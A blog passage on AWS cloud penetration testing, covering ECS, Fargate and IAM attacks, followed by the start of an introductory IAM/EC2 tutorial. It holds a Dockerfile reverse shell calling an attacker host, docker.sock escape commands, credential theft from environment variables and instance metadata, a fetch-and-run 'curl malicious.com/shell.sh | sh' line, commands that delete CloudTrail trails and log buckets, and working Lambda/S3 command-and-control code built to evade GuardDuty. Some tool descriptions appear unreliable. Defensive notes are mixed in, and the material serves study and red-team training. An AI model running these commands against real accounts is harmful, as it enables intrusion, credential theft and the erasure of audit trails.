cluster. Now let\u0026rsquo;s look at what a task definition actually is. A task definition mainly describes what you want to run. You define things like: How many resources does it need? What image does it need? What services should be mapped? Can it interact with AWSAPI? All of that can be defined here. In other words, this defines the kind of docker service you want to run. The cluster is essentially a collection of docker instances, and here we\u0026rsquo;ve just defined one type of docker. Next, we need to deploy that docker to the cluster. This is the final task deployment step: we deploy the task we just defined to the EC2 instance in the cluster we created, and we also override its command. Why do we override the command with sleep infinity?\nLet me use a separate paragraph to explain the definitions of tasks and services.\nA task simply ends once it has finished running. For example, scheduled jobs, machine learning training jobs, and other one-off tasks are done as soon as they finish running; they don\u0026rsquo;t need to keep running. When you want to run a long-lived service such as nginx, you need to create a service. That\u0026rsquo;s the basic idea. This is also why we write sleep infinity: it keeps the task alive; otherwise, it shuts down immediately after it finishes. You can try leaving out sleep infinity. After submitting the task, you\u0026rsquo;ll immediately see a message in the cluster saying that the task has ended. The two are not fundamentally all that different, and it isn\u0026rsquo;t really a matter of one being more convenient than the other. Tasks are simply better for understanding the basic concepts because the logic is very clear. I won\u0026rsquo;t set up a service later on either.\nOverall, this is still very complicated and may be quite hard to understand. Try setting up the whole thing yourself once, and it should start to make sense.\nReproduction and Verification Use SSH to log in to the EC2 instance we just created.\nThe agent comes preinstalled. The one above it is the docker task we created. (If you don\u0026rsquo;t use the automatic method to create a physical machine for docker and configure it yourself instead, you\u0026rsquo;ll need to install this agent.)\nBecause of the configuration we just made, this is already running in privileged mode.\nThat\u0026rsquo;s as far as we\u0026rsquo;ll go here. Everything after this is the classic docker privileged-mode escape. If you\u0026rsquo;re interested, you can find the answer everywhere on Baidu or google. One thing worth noting is that amazonlinux started as a task generally lacks many things because it is so small. Starting it as a service actually gives you a little more. Because of this, some commands used for a privileged-mode escape from a task may not exist. At this point, this is really just a standard docker vulnerability, and this is how it works. ECS is simply a tool similar to K8S for managing docker, nothing more.\nAdditional Notes After reading this far, you might feel that we spent all this time setting up ECS only to end up reproducing a vulnerability in docker itself, so why bother with the setup when it is both mentally exhausting and time-consuming? But that isn\u0026rsquo;t the case. While setting up the environment, we learned how to set up ECS, studied its basic concepts, and understood its architecture. Cloud security isn\u0026rsquo;t only about attacks; it also includes defense. Many people say you need to understand attacks before you know how to defend against them, but first you have to understand the underlying logic. Take SQL injection, for example. Once you know how injection works, you know how to defend against it. Say you\u0026rsquo;re given a WAF and asked to block SQL injection. You write a rule that filters out every \u0026lsquo;) at the interface that interacts with the backend database. The attacker discovers that the rule seems to filter \u0026lsquo;), then bypasses it with URL encoding and can still run queries using union, select, sleep, substr, and so on. Once you notice that, you start frantically adding regexes and rules to block those statements, while the attacker keeps trying to bypass them. But did you notice? The underlying principle is still transformed SQL statements and encoding-based bypasses. Only when you truly understand the principles and logic behind SQL injection, and understand how attackers and defenders improve and iterate, can you see the core of offense and defense. Neither side ever escapes the original concepts. This is exactly why you should personally set up ECS once to understand its concepts and architecture. Cloud security always combines offense and defense.\nAbusing ECS Task Definitions 1. Exploit ECS task-definition misconfigurations to execute malicious commands or steal credentials\n2. Exploit ECS task-definition errors to gain access to the ECS host\n3. Mount the host\u0026rsquo;s Docker API through an ECS task definition to access other containers\nI won\u0026rsquo;t set up environments for these three methods. The explanations should be clear enough, and they\u0026rsquo;re all fairly simple overall.\n1. Deploying a Malicious Image ECS lets users create their own task definitions (Task Definition) and then pull and run images from ECR (Elastic Container Registry) or Docker Hub.\nIf an attacker can create or modify an ECS task definition, they can deploy a backdoored malicious image, for example:\nAn image with a built-in reverse Shell An image with built-in AWS access keys An image with a built-in scheduled task that periodically uploads sensitive data The attacker uploads a malicious image\nBuild an image containing a reverse Shell:\n1 2 3 FROM ubuntu RUN apt update \u0026amp;\u0026amp; apt install -y netcat CMD /bin/bash -c \u0026#34;while true; do nc -e /bin/bash attacker-ip 4444; sleep 10; done\u0026#34; Push it to your own ECR 1 2 3 4 docker build -t my-malicious-image . aws ecr create-repository --repository-name evil-repo docker tag my-malicious-image \u0026lt;aws-account-id\u0026gt;.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest docker push \u0026lt;aws-account-id\u0026gt;.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest Modify the ECS task definition Change the image in the task definition to the malicious image: 1 2 3 4 5 6 7 8 9 10 11 { \u0026#34;containerDefinitions\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;evil-container\u0026#34;, \u0026#34;image\u0026#34;: \u0026#34;\u0026lt;aws-account-id\u0026gt;.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest\u0026#34;, \u0026#34;cpu\u0026#34;: 512, \u0026#34;memory\u0026#34;: 512, \u0026#34;essential\u0026#34;: true } ] } Register the ECS task definition and run the task 1 2 aws ecs register-task-definition --cli-input-json file://evil-task.json aws ecs run-task --cluster my-cluster --task-definition evil-task The attacker remotely controls the ECS task Once the ECS task starts, it automatically opens a reverse Shell: 1 nc -lvnp 4444 The attacker gains control of the ECS container and can continue attacking the ECS host or AWS resources Let\u0026rsquo;s talk about why the target would end up using our image. There are three main methods that can be combined: supply-chain attacks (tampering with a vendor image), image-name confusion attacks, and AWS ECS task-definition errors. These methods are pretty easy to understand, and there\u0026rsquo;s plenty about them online if you search.\n2. Adding Credentials as Environment Variables in a Task Definition ECS allows environment variables in task definitions. If an administrator accidentally hardcodes AWS keys in those environment variables, an attacker can obtain them.\nView the current task\u0026rsquo;s environment variables\n1 env If it returns:\n1 2 AWS_ACCESS_KEY_ID=AKIAXXXX AWS_SECRET_ACCESS_KEY=XXXXXX This means the ECS task has stored the AWS keys in environment variables, and an attacker can use them directly.\n3. Mounting /var/run/docker.sock to Access the Host An ECS task can mount the host\u0026rsquo;s docker.sock. If an administrator misconfigures it, an attacker can directly control Docker on the host and escape to the ECS host.\nMount docker.sock in the ECS task definition 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 { \u0026#34;containerDefinitions\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;privileged-container\u0026#34;, \u0026#34;image\u0026#34;: \u0026#34;ubuntu\u0026#34;, \u0026#34;mountPoints\u0026#34;: [ { \u0026#34;sourceVolume\u0026#34;: \u0026#34;docker-sock\u0026#34;, \u0026#34;containerPath\u0026#34;: \u0026#34;/var/run/docker.sock\u0026#34; } ] } ], \u0026#34;volumes\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;docker-sock\u0026#34;, \u0026#34;host\u0026#34;: { \u0026#34;sourcePath\u0026#34;: \u0026#34;/var/run/docker.sock\u0026#34; } } ] } Once the ECS task is running, the attacker can directly control Docker from inside the container Enter the container 1 docker exec -it ecs-privileged-container /bin/bash Use docker.sock to control the ECS host 1 2 docker -H unix:///var/run/docker.sock ps docker -H unix:///var/run/docker.sock run -it --privileged ubuntu bash The attacker creates a new privileged container to escape from the ECS container 1 2 docker -H unix:///var/run/docker.sock run -it --privileged -v /:/host ubuntu bash chroot /host ECS on Fargate Penetration \u0026amp; Escape All the scenarios mentioned earlier involved exploiting EC2 instances running as Docker hosts. In practice, they were all native Docker vulnerabilities, nothing particularly special. The abuse section then touched on a few AWS exploitation techniques, but that was really all there was to it. So what exactly is the Fargate option we have not used? It is actually an AWS serverless container service. You do not need to manage EC2 yourself; AWS handles it for you. So how do you penetrate it? Based on what we learned above, there is essentially no path for breaking out. Breaching the underlying AWS Fargate infrastructure would be a pipe dream for us. The methods available are still the basic ones. Forget about Docker vulnerabilities: you will not be given privileged mode or anything like that. There is no mystery here; it is actually very simple, so just make a note of it.\nWhen a Fargate task runs, AWS automatically assigns it an IAM Role for accessing AWS resources. From inside the Fargate task, you can access the metadata service (IMDSv2) to obtain temporary access credentials. This is ECS metadata exploitation; just look up the commands. I am only showing the principle here. A Fargate task\u0026rsquo;s task definition (Task Definition) may contain environment variables or mounted sensitive files. If an administrator misconfigures it, an attacker may obtain AWS access keys, read database passwords, or access sensitive S3 resources. In practice, this just means checking env for keys, looking for /root/.aws/credentials, and searching for files such as find / -name \u0026ldquo;*.pem\u0026rdquo;. Fargate tasks can run in a public subnet or a private subnet. If an administrator misconfigures them: An attacker can use a Fargate task to access internal services in the AWS VPC An attacker can use a Fargate task to access other AWS resources An attacker can use a Fargate task as a proxy server Finding a Fargate task\u0026rsquo;s network configuration\n1 2 ip a route -n If eth0 is bound to a VPC CIDR, the Fargate task is running in a private subnet If route -n contains 0.0.0.0/0, the Fargate task can access the Internet Using a Fargate task to access internal AWS resources 1 2 nc -z -v internal-rds.amazonaws.com 3306 nc -z -v internal-elasticsearch.amazonaws.com 9200 Using a Fargate task to establish a reverse proxy 1 ssh -R 8080:internal-rds.amazonaws.com:3306 attacker@remote-server The third point is slightly more complicated, so it deserves a separate explanation. A VPC can have many different network configurations. If all kinds of AWS services are running across its subnets, we can build a tunnel to access them. You can think of it as entering the cloud-side internal network of the target AWS account. There may be a bunch of EC2 instances inside, or other things as well. From there, it is simply a matter of lateral movement through the cloud.\nAdditional ECS Container Exploitation Abusing ECS Exec Legitimate purpose: AWS ECS Exec is designed to provide debugging capabilities, allowing operations staff to enter a container directly through the AWS CLI or console and execute commands, such as checking logs or debugging services. Core requirements: The task definition must enable \u0026quot;enableExecuteCommand\u0026quot;: true. The operator must have the ecs:ExecuteCommand IAM permission. Attack Scenarios and Exploitation Conditions\nPrerequisites\nCredential exposure: The attacker has obtained IAM credentials with the ecs:ExecuteCommand permission, such as a developer account or an overprivileged role. Task misconfiguration: enableExecuteCommand is enabled in the task definition, and the relevant permissions have not been restricted. Enumerate executable tasks: 1 2 3 4 5 6 # List all ECS clusters aws ecs list-clusters # List tasks in the cluster aws ecs list-tasks --cluster \u0026lt;CLUSTER_NAME\u0026gt; # Check whether Exec is enabled for the task aws ecs describe-tasks --cluster \u0026lt;CLUSTER\u0026gt; --tasks \u0026lt;TASK_ID\u0026gt; | grep \u0026#34;enableExecuteCommand\u0026#34; Enter the container through Exec: 1 2 3 4 5 6 7 # Use the AWS CLI to execute a command (for example, start an interactive shell) aws ecs execute-command \\ --cluster \u0026lt;CLUSTER_NAME\u0026gt; \\ --task \u0026lt;TASK_ID\u0026gt; \\ --container \u0026lt;CONTAINER_NAME\u0026gt; \\ --command \u0026#34;/bin/sh\u0026#34; \\ --interactive If successful, the attacker gains Shell access inside the container. Conclusion to Advanced Attack Techniques At this point, we have essentially covered every part of AWS penetration testing. The advanced techniques are clearly much harder than the earlier material. The earlier sections focused on basic service exploitation methods, standard penetration-testing workflows, and so on, whereas advanced attacks involve combining multiple services.\nTake leaked AWS CLI credentials as an example. The basics only teach what a particular permission does, how to reproduce the scenario, and how to use that permission for penetration testing. The advanced material is more about finding leaks, escalating privileges, and establishing persistence. It brushes over the basics and only mentions which permissions exist and which permissions can be combined for an attack. It no longer spends ages on any single service. Like the outline headings suggest, it combines techniques, ideas, and methods.\nThen there are malicious CloudFormation templates. While learning them, you might think, \u0026ldquo;How is this any different from before? Aren\u0026rsquo;t we still just learning all the services in CloudFormation?\u0026rdquo; The difference is that you first need to understand the characteristics of every service. We know that CloudFormation templates can be used in penetration testing and can obtain extensive permissions, but do you know how to create a highly privileged user or role? The template runs without returning output, so how do you retrieve the generated key? It is more like a collection of exploitation techniques spanning every service, with the CloudFormation template serving as the vehicle. It can control all AWS services, and learning to use it assumes that you already know all those AWS services.\nThe final topic is ECS containers. I wrote a few thoughts at the end of the ECS container escape section. Most people probably assume that learning to penetrate ECS simply means learning Docker penetration testing, and everyone knows that ECS resembles K8S. But ECS lives in the cloud. It is not limited to attacks involving Docker access; there is a cloud side as well. Anyone who has finished building an ECS environment knows that the setup is somewhat complicated, which also shows how well designed the architecture is. When learning AWS cloud security, you cannot focus solely on attack techniques and commands. It is not enough if you do not understand the logic behind them. After you have fallen into a pile of traps while setting up ECS and finally get it working, you understand the principles behind the service.\nIn reality, offense and defense are inseparable, and studying both is extremely important for understanding. It means you can work on both blue and red teams, with each side helping the other grow. By this point, you have also learned a great deal about AWS services and discovered that even the free offerings can do a lot. As I said in the AWS fundamentals section, you can already try building a website, creating a storage bucket for files, and much more. This section covered a lot of penetration-testing material, which means that after building your own environment, you can try establishing a security baseline for your AWS services. Once you understand how they are attacked, you know what areas your defenses should focus on.\nThere is one final major module left in AWS penetration testing \u0026mdash;\u0026ndash; defense evasion techniques\nDefense Evasion Techniques This part is extremely difficult, but it is also very useful. For the most part, I will only list a heading and explain the principle, since implementation is somewhat difficult. Experts can try implementing these techniques themselves. Once I have finished more of my studies, I will also start moving in this direction.\nAWS has several security monitoring and logging mechanisms, such as:\nGuardDuty (intrusion detection) CloudTrail (API event logs) VPC Flow Logs (traffic monitoring) AWS Config (compliance monitoring)\nThe attacker\u0026rsquo;s goal is to bypass these monitoring mechanisms and hide malicious actions.\nGuardDuty Evasion Techniques Low-Frequency API Calls Principle: AWS GuardDuty uses machine learning models to detect abnormal API activity, such as high-frequency operations and cross-region calls. By reducing the frequency of sensitive operations (for example, to once per hour), it may be possible to evade statistics-based detection rules. Example: 1 2 3 4 5 # Exfiltrate the S3 object list once per hour while true; do aws s3 ls s3://sensitive-bucket --region us-west-1 \u0026gt;\u0026gt; /tmp/result.txt sleep 3600 # One-hour interval done Defensive detection: Enable GuardDuty Threat Lists to flag known malicious IPs. Use custom Security Hub rules to match low-frequency sensitive operations, such as running iam:CreateUser once per hour. Analyze time-series patterns in CloudTrail logs to identify periodic behavior. Proxying Traffic Through Legitimate Services Principle: Forward malicious traffic through native AWS services such as Lambda and API Gateway, causing GuardDuty to identify the attack traffic as legitimate service activity. Example (Lambda proxy for C2): Create a malicious Lambda function: 1 2 3 4 5 6 import os def lambda_handler(event, context): # Receive a Base64-encoded command from API Gateway command = event[\u0026#39;queryStringParameters\u0026#39;][\u0026#39;cmd\u0026#39;] result = os.popen(command).read() return {\u0026#39;statusCode\u0026#39;: 200, \u0026#39;body\u0026#39;: result} Trigger it through API Gateway: 1 2 # Send an encoded command (avoid plaintext logging) curl \u0026#34;https://xxx.execute-api.region.amazonaws.com/prod?cmd=$(echo \u0026#39;whoami\u0026#39; | base64)\u0026#34; Defensive detection: Monitor Lambda cold-start frequency and abnormal execution times, such as functions that run for a long time. Enable VPC Traffic Mirroring to capture outbound traffic from Lambda functions. Use GuardDuty\u0026rsquo;s Backdoor:EC2/LambdaClient rule to detect suspicious function calls. The encryption method can be customized; both RSA and AES will work. Deleting CloudTrail Logs Deleting a Specific Log Trail Commands: 1 2 3 4 # Delete the default CloudTrail trail aws cloudtrail delete-trail --name Default # Stop logging aws cloudtrail stop-logging --name Default Evasion effect: This prevents new logs from being generated, but historical logs remain stored in the S3 bucket and require separate cleanup. Defensive measures: Enable Multi-Region Trail logging to prevent logs from being deleted in a single region. Enable S3 versioning + MFA Delete to prevent log files from being overwritten. Restrict IAM permissions so that non-administrator users cannot perform cloudtrail:DeleteTrail or cloudtrail:StopLogging. Erasing Historical Logs Example: 1 2 3 4 5 # If a dedicated log bucket exists, identify it before clearing anything; do not delete indiscriminately # Empty the associated S3 log bucket aws s3 rm s3://cloudtrail-bucket --recursive # Delete the S3 bucket aws s3 rb s3://cloudtrail-bucket --force Defensive measures: Configure S3 Object Lock to make log files undeletable. Enable an AWS Organizations Service Control Policy (SCP) to prevent member accounts from changing logging configurations. Hiding the IP Address (Serverless C2) Reverse Proxy with Lambda + API Gateway Architecture: Attacker → API Gateway → Lambda (forwards requests) → controlled container/EC2 → S3 bucket (stores results) Steps: Create a Lambda forwarder 1 2 3 4 5 6 7 8 9 import boto3 def lambda_handler(event, context): s3 = boto3.client(\u0026#39;s3\u0026#39;) # Receive a command from API Gateway and write it to S3 cmd = event[\u0026#39;queryStringParameters\u0026#39;][\u0026#39;cmd\u0026#39;] s3.put_object(Bucket=\u0026#39;c2-bucket\u0026#39;, Key=\u0026#39;commands/latest\u0026#39;, Body=cmd) # Read the execution result response = s3.get_object(Bucket=\u0026#39;c2-bucket\u0026#39;, Key=\u0026#39;results/latest\u0026#39;) return {\u0026#39;statusCode\u0026#39;: 200, \u0026#39;body\u0026#39;: response[\u0026#39;Body\u0026#39;].read()} Periodically fetch commands from inside the container 1 2 3 4 5 6 7 # Scheduled task in the controlled container while true; do aws s3 cp s3://c2-bucket/commands/latest - \u0026gt; /tmp/cmd.sh sh /tmp/cmd.sh \u0026gt; /tmp/result.txt aws s3 cp /tmp/result.txt s3://c2-bucket/results/latest sleep 300 done Stealth advantages:\nAll communications pass through AWS\u0026rsquo;s internal network, with the source IP shown as lambda.amazonaws.com. API Gateway supports HTTPS encryption, making the traffic look no different from normal business traffic. This is a little complicated, but it is extremely useful (you will need to learn the boto3 library). It is essentially serverless C2. The main goal is to control the target container or EC2 without being discovered. As shown in the architecture above, the attacker uses an API to control the Lambda forwarder. So what exactly is API Gateway? It is basically a trigger, and you can find it in the service. Once the trigger has been defined, you can append a command to the URL.\n1 curl -X GET \u0026#34;https://xxx.execute-api.region.amazonaws.com/prod?cmd=bHMgaS9ldGM=\u0026#34; This effectively passes the command into cmd. Now let\u0026rsquo;s look at the received json.\n1 2 3 4 5 6 7 8 9 # Example event structure received by the Lambda function { \u0026#34;queryStringParameters\u0026#34;: { \u0026#34;cmd\u0026#34;: \u0026#34;bHMgaS9ldGM=\u0026#34; # Base64 encoding of \u0026#34;ls /etc\u0026#34; } } # This locates the Base64-encoded command, so the script defines it as follows # cmd = event[\u0026#39;queryStringParameters\u0026#39;][\u0026#39;cmd\u0026#39;] Of course, Base64 decoding and so on would still be needed, but that was not included. In short, Lambda receives the command, and the Lambda code automatically writes that command to results/latest in the bucket. Once the command has been stored, how does the controlled EC2 execute it? You can use a scheduled task that runs every hour or perhaps every half hour; either works. The scheduled task mainly downloads the file from results/latest, names it xxxx.sh, executes it, writes the result to /tmp/result.txt, and then uploads it back to the S3 bucket, perhaps at results/result.txt, though it can be anywhere. So how should it be read? Reading it directly could still get you discovered. You can instead use Lambda + API Gateway again and set up an API trigger that takes no parameters. Visiting it will automatically return the contents of the file at results/result.txt in the S3 bucket. That makes the architecture pretty much perfect.\nThis is only one possible route. You can add a great many things to it in practice, and this idea can be extended into many other methods. Now let\u0026rsquo;s look at the defensive side.\nDetection points:\nAPI Gateway request frequency: Frequent calls may trigger GuardDuty\u0026rsquo;s TTP:Discovery/CloudApis. S3 bucket access patterns: Frequent overwrites of the same path, such as commands/latest. Defensive recommendations:\nEnable access logging and object versioning for S3 buckets to track file changes. Monitor the number of Lambda executions and S3 write operations, and configure threshold alerts. Use Macie to automatically scan S3 for sensitive data, such as keys in result.txt. AWS Penetration Testing Automation Tools 1. Cloud Environment Reconnaissance \u0026amp; Asset Discovery (1) Pacu Purpose: A full-spectrum AWS environment attack framework that supports modular attacks such as privilege escalation, backdoor implantation, and data exfiltration. Key features: Automatically enumerates IAM permissions, S3 buckets, EC2 instances, and more. Simulates attack chains, such as scanning for privilege escalation paths with iam__privesc_scan. Project URL: https://github.com/RhinoSecurityLabs/pacu Usage example: 1 2 3 4 # Initialize and configure AWS keys pacu set_keys run iam__privesc_scan # Scan IAM privilege-escalation paths (2) CloudMapper Purpose: Visually analyzes AWS environments, including VPC, IAM, S3, and more, and generates a network topology map. Key features: Maps cross-region VPC connections. Flags public S3 buckets and EC2 security groups. Project URL: https://github.com/duo-labs/cloudmapper Usage example: 1 2 python3 cloudmapper.py collect --account my-account python3 cloudmapper.py report --account my-account 2. Privilege Escalation \u0026amp; Vulnerability Exploitation (1) WeirdAAL Purpose: Automatically detects abuse of AWS API permissions, such as sts:AssumeRole and iam:CreateUser. Key features: Quickly scans IAM policies for dangerous permissions. Generates reproducible attack code in Python. Project URL: https://github.com/carnal0wnage/weirdAAL Usage example: 1 python3 weirdAAL.py -m iam_createaccesskey (2) AWS PWN Purpose: An automated privilege escalation tool covering more than 20 privilege escalation paths across services such as EC2, Lambda, and S3. Key features: Detects abuse of EC2 instance role permissions. Uses Lambda functions to execute code and steal metadata. Project URL: https://github.com/dagrz/aws_pwn Usage example: 1 python3 aws_pwn.py --profile victim-profile --module lambda_backdoor 3. Buckets \u0026amp; Data Exposure (1) S3Scanner Purpose: Scans public S3 buckets in bulk and detects sensitive files such as credentials and config. Key features: Supports custom keyword filters such as AKIA and secret. Exports readable reports in CSV/JSON format. Project URL: https://github.com/sa7mon/S3Scanner Usage example: 1 python3 s3scanner.py --bucket names.txt --keywords secrets.txt (2) bucket-stream Purpose: Monitors newly created S3 buckets in real time and checks for public access permissions. Key features: Uses CertStream to monitor domain changes and discover related buckets. Automatically flags high-risk buckets, such as those in website mode. Project URL: https://github.com/eth0izzle/bucket-stream Usage example: 1 python3 bucket-stream.py --firehose 4. Lateral Movement \u0026amp; Backdoor Implantation (1) Cloudsplaining Purpose: Analyzes excessive permissions in IAM policies and generates an attack path diagram. Key features: Flags iam:PassRole and sts:AssumeRole permissions that could enable privilege escalation. Outputs an HTML visualization report. Project URL: https://github.com/salesforce/cloudsplaining Usage example: 1 2 cloudsplaining download --profile default cloudsplaining scan --input-file default.json (2) Lambda-Proxy Purpose: A serverless reverse proxy based on Lambda and API Gateway that enables covert C2 communications. Key features: Supports HTTPS-encrypted traffic. Dynamically generates random API paths to evade WAF detection. Project URL: https://github.com/pumasecurity/lambda-proxy Usage example: 1 2 serverless deploy --stage prod # Deploy to AWS curl https://xxx.execute-api.region.amazonaws.com/prod/command?cmd=whoami 5. Log Cleanup \u0026amp; Anti-Detection (1) CloudTrail Mutator Purpose: Automatically cleans up CloudTrail logs and deletes specified event records. Key features: Supports fuzzy keyword matching, such as DeleteTrail and StopLogging. Bypasses multi-region log backup mechanisms. Project URL: https://github.com/Anon-Exploiter/CloudTrail-Mutator Usage example: 1 python3 cloudtrail_mutator.py --profile target --filter \u0026#34;DeleteTrail\u0026#34; (2) GuardDog Purpose: Emulates GuardDuty detection logic to test whether attack techniques can be detected. Key features: Generates simulated attack events such as PenTest:IAMUser/KaliLinux. Outputs an estimate of the probability of a GuardDuty alert. Project URL: https://github.com/DataDog/guarddog Usage example: 1 guarddog simulate --attack \u0026#34;S3:GetObjectAnonymously\u0026#34; 6. Advanced Covert Communications (1) AWS Lambda C2 Purpose: A serverless C2 framework built entirely on Lambda and S3 that supports encrypted command delivery. Key features: Stores commands in fragments to evade frequency-based detection. Automatically cleans up results to reduce log residue. Project URL: https://github.com/0x4D31/aws-lambda-c2 Usage example: 1 2 3 4 # Deploy the backdoor python3 deploy.py --region us-west-1 # Send a command python3 c2-client.py --command \u0026#34;curl http://malicious.com/shell.sh | sh\u0026#34; (2) S3C2 Purpose: Uses an S3 bucket as a covert communication channel, supporting file transfers and command execution. Key features: Uses presigned URLs to update commands dynamically. Encrypts communication content with AES-256. Project URL: https://github.com/blackhat/secutils Usage example: 1 ./s3c2-client.py --bucket my-c2-bucket --get-command Conclusion on AWS Cloud Security That essentially wraps up AWS penetration testing. There may be some penetration testing techniques I have not mentioned, but I believe most of them are covered here. In particular, the defense-evasion techniques in the final section are already advanced methods for red-team operations in cloud environments. You only need to learn one of the languages supported by Lambda and how to call AWS resources, and then you can develop a serverless C2. If you know python, you can use RSA/AES to encrypt communications; if you know JAVA, you can also serialize commands. In short, the goal is simply to delay detection for as long as possible. I have now finished the parts I needed to learn. If my future work involves AWS cloud security and gives me the chance to participate in it deeply (apparently this role only exists overseas :?), I can take things another step further. From here on, I will need to rely more on my own exploration. My practical skills and understanding of the services are already very solid; what I still lack is theoretical knowledge. Once I have learned all of this, I can start preparing for the AWS Certified Security certification. Combining theory with hands-on practice is the only way to develop further.\nAt the moment, I still need to learn the boto3 library, the basics of writing CloudFormation templates, and how other cloud providers such as aliyun differ. After that, I should be more or less done.\n","date":"2025-03-07T18:06:00+08:00","permalink":"/p/aws-cloud-pentesting/","title":"AWS Cloud Penetration Testing"},{"content":"Getting Ready for AWS (First, create an account and sign in to AWS. Remember that you initially sign in as the AWS account root user.)\nIAM Like Linux or Windows, which have a highest-privileged root/administrator account, AWS has one too. It feels a little like a domain setup. ROOT has the highest privileges in AWS and can control everything. But everyone knows what happens if you keep using root: if the account gets compromised, the attacker does not even need to escalate privileges—they already have everything. That is why IAM exists.\nWith IAM, you can create a user and assign access to a service. Say I want to grant someone permissions for S3. AWS asks me to set a username and password, then generates a dedicated URL that can be used to sign in to that account, also known as an IAM account. When you host services such as Tomcat or Nginx locally, they usually run as a user like www-data. This is somewhat similar. The domain analogy comes from the fact that ROOT can change a lot of things, as shown below.\nYou can create user groups, users, roles, policies, and so on. It feels a lot like a domain. Linux and Windows work similarly too: you can assign roles and define policies, almost like setting a security baseline. The difference is that AWS manages everything centrally and distributes the configuration instead of operating on a single machine, which is why it feels like a domain controller. For the rest of this learning process, we need to create an administrator account.\nCreating an Account Providing AWS Management Console access lets an IAM user work through the web interface (the AWS console), rather than only through the API. I enable everything here because, while learning, I want to understand both the web interface and the API.\nClick Next to reach the permissions page.\nCreate a group directly and choose the first permission. The goal here is to create a group with administrator privileges. If I want to create more users with administrator privileges later, I can simply drop them into this group. If that does not matter to you, click Attach policies directly on the far right and attach AdministratorAccess instead. (The architecture is extremely similar to Windows/Linux account management.)\nAt the bottom of this page, there is also an option for setting a permissions boundary. This is easy to understand: AdministratorAccess grants all permissions, but if I want an IAM user to manage only EC2 and not S3, I can set that restriction here even if the user belongs to the administrators group.\nWe do not need this here, so just continue to the next step.\nThis only adds tags, similar to descriptions for users and user groups. Just click Create user.\nRoles Here is a quick introduction to the roles section.\nNormally, two default roles are generated. The important part is the ARN.\nEvery role has an ARN, somewhat like /etc/passwd on Linux or a SID on Windows. My current understanding is that if you want to learn cloud penetration testing, you have to understand IAM roles because they come into play later during privilege escalation.\nAs I understand it, an IAM role lets AWS services such as EC2 and Lambda access AWS resources automatically without an API Key. In other words, if one service needs resources from another service, you can configure a role for it. You can retrieve its temporary credentials like this:\n1 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ This returns temporary credentials. If you assign the role to EC2, however, you must be logged in to that EC2 instance to access this URL. The address is a special IP, 169.254.169.254, visible only to the current EC2 instance and inaccessible externally. IMDS automatically identifies the EC2 instance and returns temporary credentials for the IAM role currently attached to it.\nThis is both safe and convenient. If you access a service with an APIKEY as described above, that key is long-lived. Once stolen, an attacker can keep using it for a long time. These temporary credentials usually survive for only an hour, so even if someone obtains them, they will soon be unable to sign in or maintain persistent control.\nAdvanced IAM Penetration Testing (Paused) That covers the basic concepts. The penetration-testing topics below are still blank because I have not started studying them yet, but I am leaving the outline here.\n1️⃣ Identifying IAM account information\nUse aws sts get-caller-identity to retrieve information about the current IAM account Use aws iam list-users and aws iam list-roles to identify users and roles in the account Determine AWS account ownership from an IAM ARN 2️⃣ IAM privilege escalation (Privilege Escalation)\nUse iam:AttachUserPolicy to attach administrator privileges (AdministratorAccess) Use sts:AssumeRole to switch to a more privileged role Use iam:CreateAccessKey to create a new API Key for accessing AWS Use iam:PassRole + ec2:RunInstances to attach a highly privileged role through EC2 3️⃣ Abusing IAM roles\nUse aws sts assume-role to obtain temporary permissions Read the IAM role of an EC2 instance (169.254.169.254/latest/meta-data/iam/security-credentials/) Read IAM role credentials through SSRF (IMDS v1 vulnerability) IMDS v2 protections and bypass techniques 4️⃣ Analyzing IAM access policies\nParse policy content returned by aws iam list-policies Interpret IAM policies in JSON format Use aws iam get-policy-version to view policy version history Find overly privileged IAM roles (Overly Permissive Policies) 5️⃣ IAM role abuse\nUse aws iam list-attached-role-policies to inspect policies attached to an IAM role Use sts assume-role to obtain cross-account access Find misconfigured external identity providers (OIDC/SAML) 6️⃣ Accessing AWS resources with an IAM account\nUse aws s3 ls to enumerate an IAM account\u0026rsquo;s access to S3 Use aws ec2 describe-instances to check access to EC2 resources Use aws lambda list-functions to view the IAM roles attached to Lambda functions 7️⃣ IAM account data exposure\nPublic S3 buckets (aws s3 ls s3://target-bucket --no-sign-request) Exposed CloudFormation/Terraform configuration files Use aws iam get-account-authorization-details to retrieve detailed IAM account permissions Use aws iam list-access-keys to check for exposed AWS API Keys 8️⃣ Defense and detection\nMonitor AWS CloudTrail logs to detect IAM account abuse Use AWS GuardDuty to monitor unusual IAM activity Restrict the scope of sts:AssumeRole access for IAM roles Enable IAM Access Analyzer EC2 You can think of EC2 as a “virtual machine in the cloud” provided by AWS. Its main concepts include:\nInstance: A cloud server that can be started, stopped, and restarted. AMI (Amazon Machine Image): An operating system image for EC2, such as Ubuntu, Amazon Linux, or Windows Server. Instance Type: Determines the CPU, memory, and bandwidth, such as the free t2.micro. EBS (Elastic Block Store): EC2 disk storage—the cloud equivalent of a hard drive. Security Group: EC2 firewall rules that control which IPs are allowed to connect. Public IP \u0026amp; Private IP: Public IP: An IP that can be accessed directly from the internet. Private IP: An IP that can only be accessed inside a VPC (the AWS internal network). Create an instance by searching for EC2 and opening the instance creation page, then use the configuration shown below. On the free tier, an instance is free if total use stays under 750 hours per month. Since 750 hours is a little over 31 days, you might wonder why they do not simply call it free. EC2 lets you create multiple instances, though: if you create two, each can only run for 375 hours. I use the configuration below. (Amazon Linux is widely used outside China and integrates conveniently with AWS, so I create that here. It is also a chance to learn how Amazon Linux differs from ordinary Linux distributions.)\nThat is enough. Connect over SSH and try it out—the main goal is simply to understand what EC2 is.\nThere is also the Security Group, which is very similar to what you see with Alibaba Cloud and other Chinese cloud providers. Those providers enable this firewall automatically, so even after opening a port on the machine itself, you still have to open it in the Alibaba Cloud console. It is basically a firewall.\nNext is EBS. I think of it in terms of a VMware virtual machine: when a virtual machine needs more storage, you can attach another virtual disk. The disk itself is virtualized and does not disappear. It is like plugging in another hard drive that can store data independently—essentially a convenient standalone cloud disk.\nThat may be the whole idea behind cloud services. EFS, meanwhile, is a disk shared over NFS. I do wonder whether communication might lag, but it still sounds pretty useful.\nS3 S3 is object storage, not a traditional file system.\nAlibaba Cloud OSS provides 